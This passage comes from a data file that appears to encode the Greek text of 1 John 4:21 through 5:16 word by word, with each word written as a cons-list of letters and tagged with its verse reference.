∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.4.21"
∷ word (ὁ ∷ []) "1John.4.21"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.4.21"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.21"
∷ word (θ ∷ ε ∷ ὸ ∷ ν ∷ []) "1John.4.21"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ᾷ ∷ []) "1John.4.21"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.21"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.21"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.4.21"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.21"
∷ word (Π ∷ ᾶ ∷ ς ∷ []) "1John.5.1"
∷ word (ὁ ∷ []) "1John.5.1"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ ω ∷ ν ∷ []) "1John.5.1"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.1"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ς ∷ []) "1John.5.1"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.1"
∷ word (ὁ ∷ []) "1John.5.1"
∷ word (χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.5.1"
∷ word (ἐ ∷ κ ∷ []) "1John.5.1"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.1"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.1"
∷ word (γ ∷ ε ∷ γ ∷ έ ∷ ν ∷ ν ∷ η ∷ τ ∷ α ∷ ι ∷ []) "1John.5.1"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.1"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.5.1"
∷ word (ὁ ∷ []) "1John.5.1"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.5.1"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.1"
∷ word (γ ∷ ε ∷ ν ∷ ν ∷ ή ∷ σ ∷ α ∷ ν ∷ τ ∷ α ∷ []) "1John.5.1"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ᾷ ∷ []) "1John.5.1"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.1"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.1"
∷ word (γ ∷ ε ∷ γ ∷ ε ∷ ν ∷ ν ∷ η ∷ μ ∷ έ ∷ ν ∷ ο ∷ ν ∷ []) "1John.5.1"
∷ word (ἐ ∷ ξ ∷ []) "1John.5.1"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.1"
∷ word (ἐ ∷ ν ∷ []) "1John.5.2"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.5.2"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.2"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.2"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.2"
∷ word (τ ∷ ὰ ∷ []) "1John.5.2"
∷ word (τ ∷ έ ∷ κ ∷ ν ∷ α ∷ []) "1John.5.2"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.2"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.2"
∷ word (ὅ ∷ τ ∷ α ∷ ν ∷ []) "1John.5.2"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.2"
∷ word (θ ∷ ε ∷ ὸ ∷ ν ∷ []) "1John.5.2"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.2"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.5.2"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὰ ∷ ς ∷ []) "1John.5.2"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.2"
∷ word (π ∷ ο ∷ ι ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.2"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.5.3"
∷ word (γ ∷ ά ∷ ρ ∷ []) "1John.5.3"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.3"
∷ word (ἡ ∷ []) "1John.5.3"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.5.3"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.3"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.3"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.5.3"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.5.3"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὰ ∷ ς ∷ []) "1John.5.3"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.3"
∷ word (τ ∷ η ∷ ρ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.3"
∷ word (α ∷ ἱ ∷ []) "1John.5.3"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ α ∷ ὶ ∷ []) "1John.5.3"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.3"
∷ word (β ∷ α ∷ ρ ∷ ε ∷ ῖ ∷ α ∷ ι ∷ []) "1John.5.3"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.5.3"
∷ word (ε ∷ ἰ ∷ σ ∷ ί ∷ ν ∷ []) "1John.5.3"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.4"
∷ word (π ∷ ᾶ ∷ ν ∷ []) "1John.5.4"
∷ word (τ ∷ ὸ ∷ []) "1John.5.4"
∷ word (γ ∷ ε ∷ γ ∷ ε ∷ ν ∷ ν ∷ η ∷ μ ∷ έ ∷ ν ∷ ο ∷ ν ∷ []) "1John.5.4"
∷ word (ἐ ∷ κ ∷ []) "1John.5.4"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.4"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.4"
∷ word (ν ∷ ι ∷ κ ∷ ᾷ ∷ []) "1John.5.4"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.4"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ν ∷ []) "1John.5.4"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.4"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.5.4"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.5.4"
∷ word (ἡ ∷ []) "1John.5.4"
∷ word (ν ∷ ί ∷ κ ∷ η ∷ []) "1John.5.4"
∷ word (ἡ ∷ []) "1John.5.4"
∷ word (ν ∷ ι ∷ κ ∷ ή ∷ σ ∷ α ∷ σ ∷ α ∷ []) "1John.5.4"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.4"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ν ∷ []) "1John.5.4"
∷ word (ἡ ∷ []) "1John.5.4"
∷ word (π ∷ ί ∷ σ ∷ τ ∷ ι ∷ ς ∷ []) "1John.5.4"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.5.4"
∷ word (τ ∷ ί ∷ ς ∷ []) "1John.5.5"
∷ word (δ ∷ έ ∷ []) "1John.5.5"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.5"
∷ word (ὁ ∷ []) "1John.5.5"
∷ word (ν ∷ ι ∷ κ ∷ ῶ ∷ ν ∷ []) "1John.5.5"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.5"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ν ∷ []) "1John.5.5"
∷ word (ε ∷ ἰ ∷ []) "1John.5.5"
∷ word (μ ∷ ὴ ∷ []) "1John.5.5"
∷ word (ὁ ∷ []) "1John.5.5"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ ω ∷ ν ∷ []) "1John.5.5"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.5"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ς ∷ []) "1John.5.5"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.5"
∷ word (ὁ ∷ []) "1John.5.5"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ς ∷ []) "1John.5.5"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.5"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.5"
∷ word (Ο ∷ ὗ ∷ τ ∷ ό ∷ ς ∷ []) "1John.5.6"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.6"
∷ word (ὁ ∷ []) "1John.5.6"
∷ word (ἐ ∷ ∙λ ∷ θ ∷ ὼ ∷ ν ∷ []) "1John.5.6"
∷ word (δ ∷ ι ∷ []) "1John.5.6"
∷ word (ὕ ∷ δ ∷ α ∷ τ ∷ ο ∷ ς ∷ []) "1John.5.6"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.6"
∷ word (α ∷ ἵ ∷ μ ∷ α ∷ τ ∷ ο ∷ ς ∷ []) "1John.5.6"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ς ∷ []) "1John.5.6"
∷ word (Χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ό ∷ ς ∷ []) "1John.5.6"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.5.6"
∷ word (ἐ ∷ ν ∷ []) "1John.5.6"
∷ word (τ ∷ ῷ ∷ []) "1John.5.6"
∷ word (ὕ ∷ δ ∷ α ∷ τ ∷ ι ∷ []) "1John.5.6"
∷ word (μ ∷ ό ∷ ν ∷ ο ∷ ν ∷ []) "1John.5.6"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.5.6"
∷ word (ἐ ∷ ν ∷ []) "1John.5.6"
∷ word (τ ∷ ῷ ∷ []) "1John.5.6"
∷ word (ὕ ∷ δ ∷ α ∷ τ ∷ ι ∷ []) "1John.5.6"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.6"
∷ word (ἐ ∷ ν ∷ []) "1John.5.6"
∷ word (τ ∷ ῷ ∷ []) "1John.5.6"
∷ word (α ∷ ἵ ∷ μ ∷ α ∷ τ ∷ ι ∷ []) "1John.5.6"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.6"
∷ word (τ ∷ ὸ ∷ []) "1John.5.6"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ ά ∷ []) "1John.5.6"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.6"
∷ word (τ ∷ ὸ ∷ []) "1John.5.6"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ο ∷ ῦ ∷ ν ∷ []) "1John.5.6"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.6"
∷ word (τ ∷ ὸ ∷ []) "1John.5.6"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ ά ∷ []) "1John.5.6"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.6"
∷ word (ἡ ∷ []) "1John.5.6"
∷ word (ἀ ∷ ∙λ ∷ ή ∷ θ ∷ ε ∷ ι ∷ α ∷ []) "1John.5.6"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.7"
∷ word (τ ∷ ρ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.5.7"
∷ word (ε ∷ ἰ ∷ σ ∷ ι ∷ ν ∷ []) "1John.5.7"
∷ word (ο ∷ ἱ ∷ []) "1John.5.7"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ο ∷ ῦ ∷ ν ∷ τ ∷ ε ∷ ς ∷ []) "1John.5.7"
∷ word (τ ∷ ὸ ∷ []) "1John.5.8"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ α ∷ []) "1John.5.8"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.8"
∷ word (τ ∷ ὸ ∷ []) "1John.5.8"
∷ word (ὕ ∷ δ ∷ ω ∷ ρ ∷ []) "1John.5.8"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.8"
∷ word (τ ∷ ὸ ∷ []) "1John.5.8"
∷ word (α ∷ ἷ ∷ μ ∷ α ∷ []) "1John.5.8"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.8"
∷ word (ο ∷ ἱ ∷ []) "1John.5.8"
∷ word (τ ∷ ρ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.5.8"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.5.8"
∷ word (τ ∷ ὸ ∷ []) "1John.5.8"
∷ word (ἕ ∷ ν ∷ []) "1John.5.8"
∷ word (ε ∷ ἰ ∷ σ ∷ ι ∷ ν ∷ []) "1John.5.8"
∷ word (ε ∷ ἰ ∷ []) "1John.5.9"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.5.9"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ί ∷ α ∷ ν ∷ []) "1John.5.9"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.5.9"
∷ word (ἀ ∷ ν ∷ θ ∷ ρ ∷ ώ ∷ π ∷ ω ∷ ν ∷ []) "1John.5.9"
∷ word (∙λ ∷ α ∷ μ ∷ β ∷ ά ∷ ν ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.9"
∷ word (ἡ ∷ []) "1John.5.9"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ί ∷ α ∷ []) "1John.5.9"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.9"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.9"
∷ word (μ ∷ ε ∷ ί ∷ ζ ∷ ω ∷ ν ∷ []) "1John.5.9"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.5.9"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.9"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.5.9"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.5.9"
∷ word (ἡ ∷ []) "1John.5.9"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ί ∷ α ∷ []) "1John.5.9"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.9"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.9"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.9"
∷ word (μ ∷ ε ∷ μ ∷ α ∷ ρ ∷ τ ∷ ύ ∷ ρ ∷ η ∷ κ ∷ ε ∷ ν ∷ []) "1John.5.9"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.5.9"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.9"
∷ word (υ ∷ ἱ ∷ ο ∷ ῦ ∷ []) "1John.5.9"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.9"
∷ word (ὁ ∷ []) "1John.5.10"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ ω ∷ ν ∷ []) "1John.5.10"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.5.10"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.10"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.5.10"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.10"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.10"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.5.10"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.5.10"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ί ∷ α ∷ ν ∷ []) "1John.5.10"
∷ word (ἐ ∷ ν ∷ []) "1John.5.10"
∷ word (α ∷ ὑ ∷ τ ∷ ῷ ∷ []) "1John.5.10"
∷ word (ὁ ∷ []) "1John.5.10"
∷ word (μ ∷ ὴ ∷ []) "1John.5.10"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ ω ∷ ν ∷ []) "1John.5.10"
∷ word (τ ∷ ῷ ∷ []) "1John.5.10"
∷ word (θ ∷ ε ∷ ῷ ∷ []) "1John.5.10"
∷ word (ψ ∷ ε ∷ ύ ∷ σ ∷ τ ∷ η ∷ ν ∷ []) "1John.5.10"
∷ word (π ∷ ε ∷ π ∷ ο ∷ ί ∷ η ∷ κ ∷ ε ∷ ν ∷ []) "1John.5.10"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ν ∷ []) "1John.5.10"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.10"
∷ word (ο ∷ ὐ ∷ []) "1John.5.10"
∷ word (π ∷ ε ∷ π ∷ ί ∷ σ ∷ τ ∷ ε ∷ υ ∷ κ ∷ ε ∷ ν ∷ []) "1John.5.10"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.5.10"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.5.10"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ί ∷ α ∷ ν ∷ []) "1John.5.10"
∷ word (ἣ ∷ ν ∷ []) "1John.5.10"
∷ word (μ ∷ ε ∷ μ ∷ α ∷ ρ ∷ τ ∷ ύ ∷ ρ ∷ η ∷ κ ∷ ε ∷ ν ∷ []) "1John.5.10"
∷ word (ὁ ∷ []) "1John.5.10"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.5.10"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.5.10"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.10"
∷ word (υ ∷ ἱ ∷ ο ∷ ῦ ∷ []) "1John.5.10"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.10"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.11"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.5.11"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.5.11"
∷ word (ἡ ∷ []) "1John.5.11"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ί ∷ α ∷ []) "1John.5.11"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.11"
∷ word (ζ ∷ ω ∷ ὴ ∷ ν ∷ []) "1John.5.11"
∷ word (α ∷ ἰ ∷ ώ ∷ ν ∷ ι ∷ ο ∷ ν ∷ []) "1John.5.11"
∷ word (ἔ ∷ δ ∷ ω ∷ κ ∷ ε ∷ ν ∷ []) "1John.5.11"
∷ word (ὁ ∷ []) "1John.5.11"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.5.11"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.5.11"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.11"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.5.11"
∷ word (ἡ ∷ []) "1John.5.11"
∷ word (ζ ∷ ω ∷ ὴ ∷ []) "1John.5.11"
∷ word (ἐ ∷ ν ∷ []) "1John.5.11"
∷ word (τ ∷ ῷ ∷ []) "1John.5.11"
∷ word (υ ∷ ἱ ∷ ῷ ∷ []) "1John.5.11"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.11"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.11"
∷ word (ὁ ∷ []) "1John.5.12"
∷ word (ἔ ∷ χ ∷ ω ∷ ν ∷ []) "1John.5.12"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.12"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.5.12"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.5.12"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.5.12"
∷ word (ζ ∷ ω ∷ ή ∷ ν ∷ []) "1John.5.12"
∷ word (ὁ ∷ []) "1John.5.12"
∷ word (μ ∷ ὴ ∷ []) "1John.5.12"
∷ word (ἔ ∷ χ ∷ ω ∷ ν ∷ []) "1John.5.12"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.12"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.5.12"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.12"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.12"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.5.12"
∷ word (ζ ∷ ω ∷ ὴ ∷ ν ∷ []) "1John.5.12"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.5.12"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.5.12"
∷ word (Τ ∷ α ∷ ῦ ∷ τ ∷ α ∷ []) "1John.5.13"
∷ word (ἔ ∷ γ ∷ ρ ∷ α ∷ ψ ∷ α ∷ []) "1John.5.13"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.5.13"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.5.13"
∷ word (ε ∷ ἰ ∷ δ ∷ ῆ ∷ τ ∷ ε ∷ []) "1John.5.13"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.13"
∷ word (ζ ∷ ω ∷ ὴ ∷ ν ∷ []) "1John.5.13"
∷ word (ἔ ∷ χ ∷ ε ∷ τ ∷ ε ∷ []) "1John.5.13"
∷ word (α ∷ ἰ ∷ ώ ∷ ν ∷ ι ∷ ο ∷ ν ∷ []) "1John.5.13"
∷ word (τ ∷ ο ∷ ῖ ∷ ς ∷ []) "1John.5.13"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ ο ∷ υ ∷ σ ∷ ι ∷ ν ∷ []) "1John.5.13"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.5.13"
∷ word (τ ∷ ὸ ∷ []) "1John.5.13"
∷ word (ὄ ∷ ν ∷ ο ∷ μ ∷ α ∷ []) "1John.5.13"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.13"
∷ word (υ ∷ ἱ ∷ ο ∷ ῦ ∷ []) "1John.5.13"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.13"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.13"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.14"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.5.14"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.5.14"
∷ word (ἡ ∷ []) "1John.5.14"
∷ word (π ∷ α ∷ ρ ∷ ρ ∷ η ∷ σ ∷ ί ∷ α ∷ []) "1John.5.14"
∷ word (ἣ ∷ ν ∷ []) "1John.5.14"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.14"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.5.14"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ν ∷ []) "1John.5.14"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.14"
∷ word (ἐ ∷ ά ∷ ν ∷ []) "1John.5.14"
∷ word (τ ∷ ι ∷ []) "1John.5.14"
∷ word (α ∷ ἰ ∷ τ ∷ ώ ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.5.14"
∷ word (κ ∷ α ∷ τ ∷ ὰ ∷ []) "1John.5.14"
∷ word (τ ∷ ὸ ∷ []) "1John.5.14"
∷ word (θ ∷ έ ∷ ∙λ ∷ η ∷ μ ∷ α ∷ []) "1John.5.14"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.14"
∷ word (ἀ ∷ κ ∷ ο ∷ ύ ∷ ε ∷ ι ∷ []) "1John.5.14"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.5.14"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.15"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.5.15"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.15"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.15"
∷ word (ἀ ∷ κ ∷ ο ∷ ύ ∷ ε ∷ ι ∷ []) "1John.5.15"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.5.15"
∷ word (ὃ ∷ []) "1John.5.15"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.5.15"
∷ word (α ∷ ἰ ∷ τ ∷ ώ ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.5.15"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.15"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.15"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.15"
∷ word (τ ∷ ὰ ∷ []) "1John.5.15"
∷ word (α ∷ ἰ ∷ τ ∷ ή ∷ μ ∷ α ∷ τ ∷ α ∷ []) "1John.5.15"
∷ word (ἃ ∷ []) "1John.5.15"
∷ word (ᾐ ∷ τ ∷ ή ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.15"
∷ word (ἀ ∷ π ∷ []) "1John.5.15"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.15"
∷ word (ἐ ∷ ά ∷ ν ∷ []) "1John.5.16"
∷ word (τ ∷ ι ∷ ς ∷ []) "1John.5.16"
∷ word (ἴ ∷ δ ∷ ῃ ∷ []) "1John.5.16"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.16"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.5.16"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.16"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ά ∷ ν ∷ ο ∷ ν ∷ τ ∷ α ∷ []) "1John.5.16"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ν ∷ []) "1John.5.16"
∷ word (μ ∷ ὴ ∷ []) "1John.5.16"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.5.16"
∷ word (θ ∷ ά ∷ ν ∷ α ∷ τ ∷ ο ∷ ν ∷ []) "1John.5.16"
∷ word (α ∷ ἰ ∷ τ ∷ ή ∷ σ ∷ ε ∷ ι ∷ []) "1John.5.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.16"
∷ word (δ ∷ ώ ∷ σ ∷ ε ∷ ι ∷ []) "1John.5.16"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.5.16"
∷ word (ζ ∷ ω ∷ ή ∷ ν ∷ []) "1John.5.16"
∷ word (τ ∷ ο ∷ ῖ ∷ ς ∷ []) "1John.5.16"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ά ∷ ν ∷ ο ∷ υ ∷ σ ∷ ι ∷ ν ∷ []) "1John.5.16"
∷ word (μ ∷ ὴ ∷ []) "1John.5.16"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.5.16"
∷ word (θ ∷ ά ∷ ν ∷ α ∷ τ ∷ ο ∷ ν ∷ []) "1John.5.16"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.16"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ []) "1John.5.16"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.5.16"
∷ word (θ ∷ ά ∷ ν ∷ α ∷ τ ∷ ο ∷ ν ∷ []) "1John.5.16"
∷ word (ο ∷ ὐ ∷ []) "1John.5.16"
